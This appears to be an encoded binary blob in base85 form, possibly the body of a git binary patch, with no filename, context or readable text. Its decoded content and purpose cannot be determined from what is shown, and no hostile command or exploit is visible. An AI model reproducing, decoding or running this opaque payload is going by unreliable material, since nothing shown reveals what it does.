z!uPb2n!F-#K9!CW7x$@i*El7}X)mZ48!`DS{K$yJc2ayTAf}d3Kds4pCg2BWiVDbN zFzVN)bT3RLoWtffAjpJV>g~&#Gs?F%{D`H=JO^FhBPYzVoQgYX>UPx5PfR49n=_=i zip28h?HvpCIKx~Mi8ng8<R686$6CF+O@DJ{9>_mRSGPx{+@5|i{9wF;6_}?A$k&`a zx*Tsd;7T?K?AsiAH^j8sWiM9sDN%wpzVDGS8-7G6L8=gxPM7ld!Fg<6YbyM_xuqFP ziyzkan9{Gz2>?F|+z<SX7nV7rhC%deJra*PQQv?cyWRl=3DMlXCsG6;^`|!}W3J#H z?3>$cxB)+480HXXcPan)Px`pEDhub(m`owHkZfr0>Kaa+@Q%U%?tA1tjmej;0_b@k z^=0XJAMj4#M+E8}xJznp_z{C3sntPMb(UkLq*F{cKQ6%!ox!heMw;i_#PB0S8$S{c zQ|ka>ElrKCsdsBd`HWU|ph5uBz~rwZaf}{7HuOqQj_{W$122Uity<1AYy<Fvoo)CL z5tU#VgAX-dmVbm6yQU{)NWzb{Z+?1Gw5!fv-Yihv0yMXX45T6=Zm3j+)<Iad_+i>! z)oSfN5@%FL>(=M!IdT5@v)y14xk`ffm%$aKg(}*#kzIA5eq{<&<SO8|>eif|9e$)% z=a`-w=9=oS<xG1NtQ!2-H*-eKX?Ag383_95tnd0B*&WPIY50-Tfu1qyqD4K^<iB~z z<qUB<L>_O{i6tzQaa{eJB5^Jz&-?Li!VfwKr{_`oxy)9^Y_0n5=zCnAwm1^@&Dt<e zxBTg;np<+F6#U3-4b=C@Npz|k_z`g`76bBIQ^`uVqEz#1bg4iNB^QZ}$tUzZvL;7n z(7D|%9q4jZw|y(t<&cWW8-B!=HKk8ms>z%tR7zt1T?T$k7`6IV_Gqut+`dPt_yYWZ z6Q7TaIYhw<A9L_yeERw2z)BUIi^6<k#eIOL61E+LE)%9khWq6bi8X3G7C6qGGsN*Z zyS-_C`v2NGUuajVZ0n!=Ip@$2-s^9C5r`6q5{L*y1foQX5-lPS5r`6q5{L*yM2jmC zh=?m95G4>L5D`~IAW9%gAR-VEh!ThrjPd1-!D~YI`IA52Z?3(ol5^>C2L0ZE+<R7b z?LFsQbFH;&XL^o3;<Bdq63_-LZTW*84(lzCQVCU`xQRJ4_vCZq4|N^?fP*!}w`lky zv{PCdf8<mWz9H(w&pk%(6FGatDT4UQD-oMzy+~_#HTNh_rF1<O4zcMBp~t%uc(odt z#;)!b-RX&^XZ#W4x|Lw*l=W)(BcS3uvblN9<Nd%qH`#t?27|~W`U$TvH$@H3THQay zvs;++U$pNFPVVMzieFK;NW44@Tn^VnjWavxU11-r$J0kaZErYbo<CRz+($IbDSysA zf0X1sHBqDSz+B?(ksnb{_&aFqs{SbvPjIjt8`8Nz*2E6;T?6{g`y*MoXDJwjN<wf? zAJ+wmt#>=Vcq%Sxn?SGd<YRTaDci#fRn+0LyUD(IkBF^<w*u3?z2XmkE37v^%Jtd6 z$vbw!63=adBlL>B91?Q|hbQny(%*EKOxu7#>Xnv*W&ANcZVZWe_RdL#KSr)P+NeuY z@-;}zlW*#gE^6M8#eUtFjz28wn%>%=UnqN2{lm{aeyF=apF-uvI9NGaeoxez+1--y z|4Kb!g@-(6NB<3`p0VHA?RSZtQuPd2)QVa82TC55s@$xdTZv4`&&h`3CTc(T`1ZRA z3MNHfpF`&xc>X9+t1EoG!1#lhP1VkNU-6W4DKans`~n50MEJ8+cGVBNhCLjAd<yFY zoKf*dA#|boK30B94VIW){(;|QcbvBf%O0W65k+u)g9%DLe2h#xH`vE+q8<tM$yM~3 z0sj{tZ)*GjDp>^_EWRC3xgVdv;pgx<wLD{w>!u32Dj*;o2whucWJtA-bJnlqx*30D zw+kv&tTkCvZ2VE`^l%?n(o_h@hZIeQFBQH(VxEn!>_v`0{CuQM+rS^C@dr;2WZxd= z9iFh|9}#RD-0r%iRh@~O3}kv7pLWK1GddOauuA@1`}|{l<ZdL~uYzaAbAmsD`^;`I z;Vd?D^Ykz3&FvnEb<R{tz*FfrH)6X=G&}ZcX3z5nYfT2eKg3r(<1v{!it&c?4}TQ* z!9C9!)+=#+v=7(`cy6zlHU1k8z-#{9UKybANBUSl?GN<mIi@%MAa0zX8_UhuvD$|= zH=jSy#r_r&7obSpxZpe2EnS+Q%o@BG8GjV!8!WnTZR7M>eY1X?9(e<Im(^Cy2L70k zH7#K{%{?CQ06yXbQuU&D6Sr1fLAV4Uk>wvXp8QNvQ?&t$;g1L>NV!=oo#wDg8pF>$ z7FYZsPi5(}b36A4rX3cI?lZSMlG}lgm%iYS@X7d=x=q%v`iWI-;*Q>_k)VS#1G4H& zx(oPY41er7qczCF^EdvG6Qrm)6RP^##71_vx{g}e5NsA6MlY+QIIh`6g^Fj~yV0J$ zfIs;AEdSttaUZiDJ$jx$VyZUck0F>gg+FG!S#L*luIm4_vGlkzqUN6&f9%Kr6*cEx zRe$oAlD=b{ATW(xZQTVCPqetlnRS|2ibv7tR&nm<4ur&>KMGK!@;8{+GjZPzOk;jZ z-EOM;zt8i7^|IdgXP&X;AN+3SR#I}~iTo4d8*~@!gLl{+;15|-pMN*w83ea_3WHt^ zvZUl(#JewzKWdPevuxZN$wyVTN7v=lA#vOBQPN|vyvg2D^1&@^28xuPKg$1&nUdq& zQU_v<=~N_kJKvvLzUKI&rfO3^FOPxwg5>7ByF}PF=VwILwCD`9Z^%G0;}1F=PUtV` zliy3rKlt8<{Y|2^cB)ZIhFWa^o0V7mQU0Dj&Mr#crZppwST_%`2Hw9?)SNRkOXBBN z3RAUNZ);CEHU0n#(ClL()EhPAV5#ePew>0GtJ5d=n^i9}Y$-sO;C9f(Q!x)cRt5c^ zB~DQNr1w4gs9T5UgFk8F`hh-`M#=krmc+d;m~+c&%fX@-HhqK})UD9+M}QVD>EsuG z)adn`s{fYw+|7^j>c^=0ke@yI2bEs3rp)+*eFi4(x~!q)3#IQ9E_tGf?Zc?$g@VkQ z3c)ph*t-eVhJBGxMBk3CxE6`6Z!A_VfvBfPd_3b1e(O8IeFE!kx%Yg2ToPG&7#_Dr zTqUqVRhvDoR?WA`E&rGw-=IucMc094{Gqql`KWDeh#e=WxSo47C7<A_<kw2x-WR+) zY(SAh$_W3e@JPI*`yo~x2=3>s*bPNr-k@yk87KDvy$Xx&mYq9>KbFV+QJ&i`pxZ|v z@%%JB*3UURCq#SHPuqjKxAdf<mOrZgr}Rs)uiLpt{y!X^$qP+f(5Et!3Ux|;cbT@~ z$-BBG`G=w|?sxL!RdZ9`MAlT=+~W;=TiJQ4ZY!{O1nY@EH1{Z!$f-!v|4HY~l)SZu z^FRpW4|Q)T>Vj%!As3y>aYhd)ywFrVz1P0C>Zm<=>z0mC^7L*ul|8Ywo7S|sN3g-E zRf}3kT$?Kr@A;tvtA1P`xN*nxM~3G^mm(d;-=U1v*}cYD0oe?psp+2B&v-$l@dxNa z%}1xApqGi&GybUV1}K6yYD3r<C2wokB60NJ(YsfbJwt5HE=UYQiA6zneyBxr#`|xK zKlrUM0Bin`qY}tQE&pJZdo$2jYW@{{3huW2oz#4f?4--vS5CFLZl&>uzVrMTE9w{g zF=7pKmsfcH0ITShuC8t{iEQps*cU6aw!ULU9X`PVn$0l&h>Z0rJQbd?=Z_fvsGr8i z0V}#;MJL@2JHhevjGdvX&8Qc^;lXXv-*xvOOX@hY<&WioGeFdl@8n>O;19gLw>k#% z$M0?KF}msu3GV0;zVu><)9LXhFP4%g|0v{O+1w*_4l*B3BtP{-2(HbKhtmhRSA7^y z5%1W~8H$KnVP_*$gFlix5E&;ZGuDf#+HfkIu6m|(ReAmue^i%g8?P=)l>DIa<mJqI z7sKALC|A+xKJ5^Yc+m~oxyQ)n9=A7BJ!McJeGK7`<zdfS|HN+4-5M2WyoN#e=cM;N zW>jsey8?Au-BtZjH)4O4jfbw;Ib5>u42kXZfUxXEDg>Wew=}W5@KoSnRrXr#Tv1C4 z(S7_q9wXTyk4t841MlUq($oSfCJ4C`-}6Um6_EK!b1O{+g#QLgulX)`DmeOy=Z}a# zjYn@$gFT)<VzM0SY3hj3TB{yoN}jhDD~D^MHYDC(`~dqLJNJHuf{NR@l@ivg>G7^_ z67nAYPOI8vx3eA{DrdYF<B#oOeUz7}s=s>kaP|H7sh`2uGu#aOMC4rj{3W?h`k&c7 zzo3siNqn++pFb?!?2ltJb?}l|yXq*P@|C^PdMsu*L6PSVeLIK5`CD_3%L8?1&mYA- zE6s`OcV<Fe+XbpKy<w)}LvU`zzYD?Qnw^t#M%RakwPwev7L9*ZkbhMDntmzP<^_M? z%)ZpbR7Xd>A(g%I67_E}{bjt9%GJ`~y@;qI&Mk9yzEW7CSYr9phwqttWW7*h!Civu zHldbaZ#3q-DVydEJ2(3qO@(A+P2qD6f9Qv}pY^`SMElF1=7JucfqSB@SHf?yxkq;X z1&LAe^dRcVH;$3`13#H_+xP~so}#YUb7?#G7)#6JoK1{BD$~9JE4>1X9e@0A{s%Q1 z;oT13?IU3t-bVhw3R(TUe$uH(-r^7H8VwSAge^_Uvxa)|er`TO$<x))V4o>|A+b|X zh0hEkn;`rU_OH!>imiekJ}nOix&v3n60_clm`l8suhBueD`sQNGNU#!>Y~MAJyyDz zo98=E>G7^q&$su@M{ujvbcrTzd7-4wF?4I_x@$}m7j%4lf97wKlDBWC&()7Rn|q8} z7UhI<R|C&j9u#X8TL<s<u%p{;)0x1?19GM>Q4$G1zo0Bu9Ta6hvn+7H+)9RL$Ljp6 zH2x_6$eBUo-FvP|Z~j%G?leuZx~Lrz(_@kHZi3)akMwhoUs;b{EF~}3&2-=1YGe^R zE<&*s%JrB)m*2-qplot>W)2Qi=-(|nVSnSgj+?o8xo&|xH{0(4PLO&Aa_cK8jX(H1 zcz05!+{~SN^^LKHznxQ;4SD{E@l>XblK1=(4Jz|O<CZ_z*M>G=Y0Do4SyMs}mE(^T z6sSP~yp`kb^n+<k^+``pTi9cZ@<h9JCcWS`^ZXIqF1oL98e>g>*xX~uX%4A(3yFQy zR@X>u?vYc|AhCHWYg8!T&iMhRorQf)_wh-7O4d3CiBtH4lZ%%V!5?5mpZx92zkkkA z?5z1=dK9v~#=%mb+u9tglq$pi$o*2VUZp<|l1KdMNsqVPDMR&hkFjMr!^>MLJ%1$k zJJ%Va{pvMwiKhZ<zTg?104XSTc9YMr*6HDko51r2-x4iP#@nHH0{*Cpczu`?^MI4* z-Y_<|3J7RS-a3Upz%=)#^_}(SnS59ZiTN#B8$HqZVcblh`zlfd67Nv*oSUm2y^?O} zh4}%I<sS#@#Xvis@|HhJvZk26p5IhWZaqqzN230Y{9}F`!yv2@e$WF9qN((?@;tOh z>UR!)5jj`Flj1z9{|c{h(b;N;w4EF!wc6!j0-M<mxl-~==VAyOoRSBLU4L0&ePfa8 zB!<NK6@Qd)b$WQMN`mo6;`A7-_ahN1-&e$XUvQt!&CA?;?)igLsu>|)&Ez*|9{6s8 zOU5UzTnC;!(>8(Q;CAjYv$u@JjUV9pS>$e;T0MBToOPfM#Gltm0hLO!Ce#|3roBnr zxBO7G*;s}Yk%7Fn3djon7?72G%$wVn&UFJ5W9vJfgT!DOSrgA(KXfago{zPQx}BR( z-||!<b7rrmZJc8S5(o0+Ik$zs5k*n!eUGW@8~dYFuL4msLvsUL_bT#?9sH)MzfPVi z=*;1C2RK{ekL?ZJ_?8ENL;UHOxs~;yyvZzIi0rpSJkh}QskFS%2Z{4Xu<tT~Za#6q zJ$kv*bDlq9GVuLz#=IH(O<e@an$Rrko9Qt${@^#;YH9BA3z$OuG3w4)XK|jZ+AQEa zz6%VZXE5#99ER_eW8bRR!6qO0Ev(JKcajI(ab8nl<}3;wR7El*t}fFyb`Mg8rxMB! zaQvYi!ns|-A6YxM0<IDDyt6m{D6KNb{&+@bk!y%Q#zd^Qw>wAnXL^w*#2nmKFi3Wr zpybgfhtTKcv33}JC9s(^@zva;-kI61p)k#=qwA(e&$)$$4yHoYsdeQ$Z}IUG%hXv3 zKR3U@Ijg~d&|HX|UbiK+gdeEexcAMkPD5~FOaAeOymg05kWfJ{%)eT7zkxq;SdWNR z|A0Sg=c!!rM}fmLHBTkJs7svLAv53X*Tzq_s8LX4;AQLa+gjt}vFAL0M8<mJk0CuN zx$#H+Jj9z<KlgX!{>5nz*0Jy5kM;2t)xOLSk>B-BME;TW=(<2vah6rJ!6hplw>A!s z%PUZgtG7Ir7$wiC?+}YP-G7dA#>{u^`Ka$%FFY`#-GghzTB_TVHLW_Y&%)gLxh7|t z67%jfv#L$T8iNqeAwT*yJ0{`+R+^ZVfxsVGpM4~C>G`8%)_{rE!=gcAMWZh0OOKvs zJ-(y8o1kjCs^tZtpinKRR9&jBdkz-WN%`(fW(<Gu9mz2RvZh7HTp!kSdX$5u?ux(S zSsYmBH5{IjyVj;W=uReTevg>mDs0v5sx!2xdG@{&Fs9eXvDv}p`PMCsk~zg!J$gJB zJe7}4$w$gjRYB+5CA{x3#C?pNe?_e+C+fuVwF+&+59et^)!<i7+ms)AMyc75kK-c$ ziibRvEAM@R^f7(jABUa9Wli2q$nF*(ap)!p{oH&B2ZMcA?sjCJ%E2l5w#T9biASdU zBIjS(TFb|)%~dCE<ByuCi4R4_iGn{esy2ge$+||UwwbB<d1prsGNoUrBHOMxqnr(o zh|}X1eZo_chyH$Ke$$A##~e+}TDJ=QZ6(htzE|DyUKWRa<{0(Cw3^CZC0Eh-0}cV% zRR`h;xBL;q0O5hX>iMI>!BT&*ZaaQW$G>h4CS#(8F8;{dxySflWy>EQ5_M#F&+kxf zhLV3}(Ud-~=(Dp^*08$VC1py!Vp62O;tzc;r>kMd35a0P2>t-oh}z}~Jb$oWctPP| ze)^QE0e)L|Le8YOt*FxUhRjqq&u6^^{z!NRXw@?ckF1IFfY-?Rct|-FthJE%(vyAr zfq5zxwed&!&-h^v60`f;&ccE`e<e>v&a9tX;rZj>4!VKw`QtNkRc?9GCw8Wuu{e(t zwT1OyDI%Pbfqa4^%QWaoH(}>D12K5t@dv!u{qCH)C#4Fy>NfC)`lTX!qMS7AR><(= zYuB0HupWADe%%=&R~|okf|8G21<>l2CG5Bq61V&TE;0A0%m?OTZ`Q<|qJGC<#CPN$ zdOO7{&fAy_WPe<ozM<B%LFEy%@kfTE{}WO3jlrOpzOfPwTR#p@8<3c__F6X@NXe(t z#4UdaiR<TyKG)<QhJ7RF2dJ{GuH*mJTBiq8sOJxG2`{JW54y~w7=NTNNDfo)!Q9ul zu<jPcIrW64@ka#fO>o@;RsG?QjO>M;0oFRk`R6yN%7P-8q6pZBSG=J2J1no2yiK5| z_{mqF)19|yV&0G?kJIWlC7A(HTemcL)70(n5?sn}&RgRT_6gM)Dm$R@x9nq8{XvN5 z6#mHJ4}3#vO@VbSN0xt7{j`Isvft8IZf5+kM#(2s2-qLWJ+0$>W}bX`)h!)^#GiqE zoH9KVxpVYlBy@)4uA__YIbtX3{5hfqp1>bG8G5BNdIL9|-_GdxBOFa8I)|s<fNq+b zXJ^29`BM#l<ebr|%{^A?WitMVY=&TM+**46C~<;vdVN@#CTe?2Oh$Dye$g3Hg2b<y zt_H>JD}buVbGqRVo*W&#G3R?jw{$}OQSrn7q9gUbVDZNo2P=T_KF7UUqLe|0BkRn5 zkLi=lQF&w<U>bXxDr|(Vimda9v;5MvW({?hRHQYuJU=odW@fK(f_!J8x}^hoG@d`S z)&Udfsj^2uRS;8)rYnf`8likyZ}=kvbNd}liVes>^tP2L?6K*jyn|(T8lz29u!V09 zx`a<?3G_+vf<G#|(~K3-T9a4wP04Ewc^*D$p8X)X`=Y7rITZOV28qYaX7JQKe-wiP z9}new<ohXqu=hQNkIL8Rg9g0<YBm#`!YLhCI(Kh;*Vv{zf<GpF7rWcyiEnNEQ8G1| z9$<B%j>s1Z_@j`Hp=&>c7l>M{XG*@N&yoFk-B}2VENteRo#Z~p2>`L}1n^W`{=wgu zNVA}f*iHJqRM6R<&%+Zvjqt|`2HADQdAch`F^6#8gm05s{=sL?Yw)mi9ax?}z-@~< zx|)0ZhwJffqETlRZ*I?eJbCBIw>M&^ph(&F@|9rPlHS_jWzYESfNtsB_#=iv>W3UJ zNbh^37qBxY;xCAJL=8kY=fTaOTE@<)ZZq`KqWjC4v&fU;Il&(#8E#0A#XwP8)^w1Q zN=<iRo=V&zafy;&QyncXO5TuoU?>th2Nx{XxviOUsKle36aH59$J~P9=M-->gg-(m zAnXq?LUSu$(r4qkj)y4CIZ8Q4cO>vfMFzq@Oqcx~r;&5^uhRH~xT#mHk28?Ca1$V= zb&Gra0I^vcb&Mvaa@i<(b1~Ra^e68v1CNbAO7?XOrcsgaCzgK{&da$Sbzh(7=t$NW z{z$3XY{BBM(LmR8^Lz3SdaZ5-y?~gbmOu74bE!+QUekB{FeK`r>GkmlJ7e0WyiD8J z+)Dj4#FO{f=M=wnHPrh1l<hfZ3HE>eV(ziJ%V0e+Pxynl$ug83WmW;vG}G`jJcj(2 z)c9j_;$}CpCZ4{!#^hh&1TBxL^PAjnVQuPXva73TIFaze;)RkYBK+jvtjD5o{Q=q` zoZEM#Mf}`jDL;(vxr)A?!1G6OU*W6h2Jy`JV}F<*l{4whe)OK6$EQ7<*YJnVD7?^1 zlr?$&$nI7sc_A^+UYW4i8Yc*E?*$SU?*`3XQmvAY@spWXmYx$58-GMNxcJGw=EmOz zf0RVM!U+m&XI91^liq@=0jSHmPKj7=0ug__a}&YftTUb)?D3F3)=$&p7erktYqE2} z@1TcARThidyVfxk0{q;UNKBu~M}L}o%<+>0^PMA9A9($KL<KNLLDemPuvZ@HC;0bf zgo@0-fXXW9W2PpQf9MV&-Tb)VC+>X3zndS~8E{_g`D1(d={%zb8#xc%ly}x|yDm-Z zmU{B|0oetK%~R1^#=>UqvGrb-D0$Avdl4GD0NL3gpbc!>csW!+YFJOxNfYA_Ft-OD z6QAB(qW1->YYcquZczDSvhC@yrfO4q{;0{hzOks;AK-mtza_c-xY5L}?^sy%?=5{Q zg^*ZWZI!(O6&ebO9Xnb-y^wgL6X5^8$f6#w=W64Rn0|xu-#M(O_dT+j#J0l0ia}%D z74t3qP5sUQ&#fW@2`mTvPRi8yqqO{kKTqc>8q`=X@^dTM9iGx<0$r>Jf2cYdHJ-fj z2k%A$`${SKCja1bA=Ob%x9ULTj;y)X+U6cZ(+K=dI<UgS`1A(;z+oc;DVZ)!K#G8< zbqCpih!e4g@yBoHF;U0VqT`l7#-|mS7TFWEXG*PhWF6<R+->uTIrs3wNQm83_DqFN zypr#mf7SQ=feO9ij{<)hwRujBKk^5jFZulTFg>X=`YUek5=t!W6skVGX5X;RxCDXm zN7h^8snptEUJaJ;$B-UxMO`$m15S{-rTK2HCNAmG3*VZ1WIvgw61usS*6m22>7-G& z0<JoL>t7<Go^{_Cf3U_dNQxV@Jg#84pXno<oaF|M(euK)>O@tq%NeC=6IuSDJistb zy|A7?O0t}BCvmk}KUp4GpJUuqN1eLlMr?Y#`P@NzPPrb49o+t`s#MD#rS%a6=N&mJ zClUrI=)j`l*1e(IO+Hl$f22e=rMj!>s{vR%HD=L&8Nw@?h)Y`j(0AUbTe{_s(sQe# z;q<t?qE+&oS$Xn1b7oD2QY{qrdH!InLE^tR9bKy1DA%KVZhjiT9~E&EIaM3Z6w{i; zX=&>@KJJg|X!?a8FpZe&=bC2_!s7Mw9weUhh=&d=o|JOMyA7&JQL|%>KlnY=bU)PT zY1JiX5>JIG{_A?A-J_=-Jyy^2M??j%;w}(Sr0LlpYl=DFV}DOg#m-DnHp-fK&yE-l z##6*M?B|@mv5_%&{gk7Za^sIV-M<r@#z^~1zOHqyj>yd{YU2;q$FiY7b@6uECPK+u zpNcAbjUOOQtjZn^E>DG@0{#f@HXXRu^G9i{S3m9Xpg=C;j{v5|FQqd`_pZ=WOwDHN zkt65dEm2FXPs<<afgU~iqb&v%c<8)`LzA&WSbs;9*ep>O&I=@7T;396iobN&=M>b% zqq#$=OUav;!%CAiDPLo{)%YWUKQ`SBReyD0y+T#wH}lQ}_7H!Bop0ff@VQpZmI=fU zIZorQ%kFCVBjSmEp?!Ga1@q)_LH>lq3n8&8dyZ%HIqR0T6X5wMV(xL#U7T14%RgfL zz7$k*bB{ClV@GW8B53?ICr_Pjo6g4b;e>tj%Nb?r{`9`IS)KYRJ1w*}^whCetrDHF zHsLj!**k0K-A2hrjVJ$q_&g|LD)dD!M$XL<Svxn+uH&S@Yv)iNl+Q71vZn3vmFJHI zp4&(GK>=8yI~CM{74!r6gCBN|<{nd6FSZP~6aqcYohH_)myWTn8C3{)9t{%P++&K8 zPp<fbbA}3a{bi+2tuk43U-<mXi@C>w3BnyWn2`C9e@Ktzk0Dxqh-3UQYV9&NKco&B zkx>s==j1lwlxBCt-79a_#(Ht<CgcxmRavAi8~z}#U_#PWN4>hV^Y}!EQlp*4)z;%3 z2}N49svV*_(8TFOP>G$#wEqSq<|*St)Z|RHyb~O@guXF#9dAI5>2Y|J-%_2HH#1x} zev|P>b*G*Ior;pIsciWpL=k8o7FP;A`P1BE42rlLOd=t+bde#k<{mi#&c6cLOD0Md z?77PIjgdhlWDu+F=kzo>{vdW@9vf1814~a&bC{*}nTeZwWTk!nq3^ut&UKc>dd|PH zC+d5Bny5k8>{fG+rS_{7hH7N==xv%F3uDK^keJ(?l@+RX1%Jd;uTuD9*U4~mz&}4X zzaVP$TCET3!;lr#PWYacPEZ!?St{r${Gn&C=1qX0gQ~jkvXbyebvNkYkJ{Q0kIO&s zIK^f>$qN#r<mpeobW5xI6hB#>eAILximO2fZZMJ)#Ev6wd5`}NpSIL6DwqrQFlAHq z23>L-_+ty>$#eUeyDGlGze@Obs@l|#Aq<i}l20-b$656J5&3RPW`CNwN9&s5$v@zP zIVARV#%K`GEgd=~@7Fp;J5OC#!&TifyPI@bE30qv{N%d9dP|sV$KK3vA$ZpP9k}M+ zH@{<ze+7-lodwEs32y9R>QGwV@{bxPh<)B=S1W5W4O_q;R7YLZo<De|51`1OkXX|; zu@Jj)j5udYIzuvdZcSqs_;{=CSWmCzkN6>fnjSwe{(wDD>;qPMOJ4Ui=k7<VCJeeO zew2TFcLp7v4H1<Gm}f@^kvacGJNFp)xyQ0m=<2R9PlY|$AhGvUrl`>P!XKuc#~q#> zd{oeP%u2kQfobeHbu0M1Cx`Xs$8XN_&Vo#1&|CNl$Tu*^Z=l+uvoiju@Z*$iuPtlh zq~Y3?<hLoeN!Z$m^?d%3pyb(yP7_}#`3;^*)JDyYwR`l4<-#APp#EV_ke*$k4lGW} zsQ2oe;^x>B#-pssnzl#HJ+5#uS2$RonS&L;A0M(aR%rRk*UmOw?lmRq(z$M`f8Z9X z%EA-%o#d>}K;1Rtw~-hnk6Z3~^qezG)D`b#30=3FQ&3uKkhtm<P2aI5rHC3$Z21R! z!_HHBP}I7&tK{a#H>jaG8Hmo{-(cz)F$Z_mo#T&CO5U<2PBLynNhKlWE-8DWVm+&R zMyw$U@rAn`<Eeab%^&{uCf3mT1|Drnd;{*1GX99jKUfW$n@62_{;0tKY4$N^?nm~6 zBA%X>@W=kJ#MSzo-JTFL&lOEg<oyLoKDQnoVz#-J7$-<KA+Qgx6nb#`R&~_w0-4}q z5QVT$`G;v|-jH=Q_ZWl3;nPq^Z2ZCBstWk+4oq|W5k99@0U4g~i>v}dKQi%#Fi6cj z%aCcC1$jVl4~kp;UHrkF0>*lAJNFn`uTLAb^{Lp~i{Dc6@dMA)DS1D)5;4oYa7rE* zuaxU%-48>0s4Dn_-)pN?^;cb7PnZJKJ#5LD#Cfmbk5_amtl_-$IVT6qc?Qel!+AmV zq##!;j6VXLAa0H@m#lP8R2{C|C6!%}*t(@Fdh~cE>cVMQ4^6zK$0BmwZZ@|P(TlNz zKWfh(G5k@|vq5$w56UWY)gAwrtZ7NE0aqNi7O~zJ{5f;;GyWa>9V`x&fv|VBhi}f{ zhk9Y#xs{~PP4x|bwDrTWt7~Y7$WxIs^$tB#*K>~^`({+7qLx1*eCLsRYdwG1If3=2 zN4@Vc>l3fk81BgiUxhPD#v}(zbMq<wRc`zda!UE$R$V1--rUZPP_4=HM?@aX=cS32 z>$&^`HUmX^Jj)i-3Po*7zHIrUG$eN2(vjsKeCoaAey8lw^9L(!SUNm%GX*^<iSfsz zr>c$KgEr&j>3zYw&aAuWj;M?LcHY8zLd4SeBL>H*vKZ?{1Ac?yeMN4TIwaP!Hz$Z^ z`aHu;Yoj(LKj|%xapMO_VGwobl)U9L1%F=w>rFsn&Qa@|#jxJ+`1%~fAEVx=x9RSv zM}G{qxvD>14E+0wAJubsYZk1hKOMLHu|BTAwBp6w%A%RJaoLbp@+nF_QWe$r=oKjW z`KhKW&OZ}PfY4d^tDjpT;&$%w*R$gfp5VVqT(|UjejJ^b@W&1Yk&ZzBqczoCL03JT zml=OZd6Xba*mh{>S=Dr|($C^@J<C4|_yf;KYuI)S_Q|Ym_UEGH&BX}lv0%Td7sK<1 zqE<zo)BP?_PnkNsOj(aPA2=XXZu}5h9h819{Hrzj^H=6zxw-j(E|!JW`>NXv{;24) zpV|aE`vcdlH2x@Yf;4RtIo9)4Pre~+M$`@+^z48CPw#v5H)6N>M{E^&`FNSrhu#&* zdV0Td{hU7KkM$$}i|aPV3(}3~Kd{1caAR!w$Kv!3SrdE1d-|YDe}Ix_t*ODr@CUn) ze8F<FEB+{?b#JK+U69z`_n4zXt7h&I28oy;%<lFcZAvnOzPv)4wi$s+k?^0Y4a`L^ zEGTE{H+&A^i7iZxvq}e+%bA9#`5Io?!XJM%)~n<rdHz7tp^0Pi1)izu=lmAUPgNIQ zuxJ8%(++$83W@QFFMfbU9TD|PXroHB=MP0a=LVCcuisn19|2j@fT)A>()eS27$3!X zx_4y;&h2rvavUt40MB54<TglHuTa*c3`D&S>ahTcS>uL3sB2`Zjyj)MENq#zs-xv4 zYCmnWkteV7cs2JpRgKK%9^-$q8uY@lgKuV@KZ1LnHLSPA^$~xpiMYU#{eX@Tb=}NQ zLsK3p8A!^0Umv0~XVGO%?{O-~a5I~>iQNRDIjQ`fhdI7faixhPka%G|dOVS~+bzaZ z*~kxY4z6km_|7|SU8}89SgLActT#OV1_xxuADkxKpaDAa75ZldN6V$4=MMhZf^=le z<`QuB(WW`tl-neX^`iF*T=W7pSaIX}T2J(%b;ZGN%{><8sSK}`ykTF?U4(%$a98)I z+FF1P^6^*)>qX*!sYP!O-<~({2XXfkVxEy{d_o6S0vhWU#Z_n2oq7HkpK5d6c>Z8w z{7^e3Z_W*I7~YFpuc8)zzzcjoR~>a+ZJ3r^t5Es_VvsoH&FzVwNMxm9y@EZ5W`P0t zoqrHBzc)uE(6bEY!VtY3(T!2_KXUTEr_Q7b`had^@rRxO>QY&g@rS;1_%uJxr3J6} z!|EC!v8}bsKYoir*!@lAkl6D_L}f2HhYm%Q?b#io))}InamzozVm#BT$NQlz|0s<= z!pHD=dgSD>qJ!>$-1IUx{~KA!fbWvvU<D`-A<LAgiAS{r%Rge2e7~c$iO8A`%A4Si ziklF^Yb3_qt{>mQdx_rTQ@%5#z{Sv;clq|7KVoJna?UL$pvgbvx)JqPI6<}NkNP1+ zM{4fzuVf$Uc>EB>wjuk#7pKE}+S#GyE8~w0{#Y<=1E#qN5YHbuN<PpIxvF{w+zOjt zkl6U6eqi?JQrQDV3NXzod+ppxiCRq`x2mWZe-y?a)m_!AZ#a*}A36MyqS^OH%{_hq z<IR|D!?l1v=109Rc*Sl{Oq&+>{8{(|UbvcjWW8~2UY#?C#0^&AT9a2?JQeGfcAg5) z#N{a#b#)h;6BL`X)R$KX`<rHI`J*6f%6d#*(X*6-xHWjYJb>!(hu+<;x%nw-KIBLI z@e>`XK|k^QQQQZX-{zV@1MmB)pzF7w<bxMTT%dJB^{M>9XPlBZBpw^~*)y@MiIu#^ z5z`6q{83ue`@^uq6IKm_s!c-HH0cdHs^2QM^stBXT+FWOzZc_?f#~~8kKDyV_L9IK zk<UL8y4`B6wXq&iQ>V}IrLqQz9e=!E+*`-_RgYdtXNY?A3a97bkH~mt*WDjE0mdJE zhG!RoX;e0PnLXo#3P=Wj>@C+ILppAcbF{@T<j)`Swxf)7u8Ej^^O(aQ%L85Yoj|PT z^AEoFE%V=U$sFsc|AcOZ^<j6diRGu^2W(ON@r!92&M|%fE37>Ne?(LOCp{*FE$1!i zQ)JCyz2yNGHvUNNg1g`rv_?m2YIgzSP0YdSceq`RxyL!WBLvlm$+|mJ<{mdh9nlTr z_@l6T_a6QzTmFb~g3?RJxmBWx+IuRcbAt39A*)C7eg{>h3~j(-Lt-Yp^z>T($cdUB zJ<lH*RsR*4hTbZUCrQLhy2d~@@J@GFPMIJKsU@&NEq^Su)`pxB{1K5+&breEi9N!W zbW5k5;7Z9ybW3Ob3?*;h&ianoODL#sG(Alfh=`3pB6_?(V9)VM7=RzNe2Pk-o5J{m zRqoBGH0dpx>iGZQW{<D3>CRvf*aiNW6E!Q%w=R`)QArpdakpK)!q2Tl=E?hL6t!+C zK*@h}lUynJ2zNq$a@|ad_-UIQKe<w7?fffay#UR!WwlsstrZ<u_0#@vz<*!CZzDXn zKI^PI{^ZlE18dL=;BfX0E@Idz#MR<V<B#%>oM|pPzuQg@VnI0sOxwIbVs>`;NXN#D z&X59k!a74<@JG$L-MH!%`3Jk&<{r1?YvFTfJ2QW%AJgYCu8$awiAZYb--2!Q-=I2w zr5AQ3RHFjI8O0?)BM>$FgQ`vG{3|+Fe^!;{1%GIEl$B8q=iP~zjzRV46@Mu%F8Dw$ zMtbEN#IRnC?i)!TQr|4Bf*#xlOl!`KKT=R2eBxw*YrE4MTnf$2tMg__4P*^+{BU02 zx&^nK==%cx2ySOx<+ridu%$USQu5g)YV)NM-KQcq?GiP54o+(PWW&B<K%UQi7wk9B 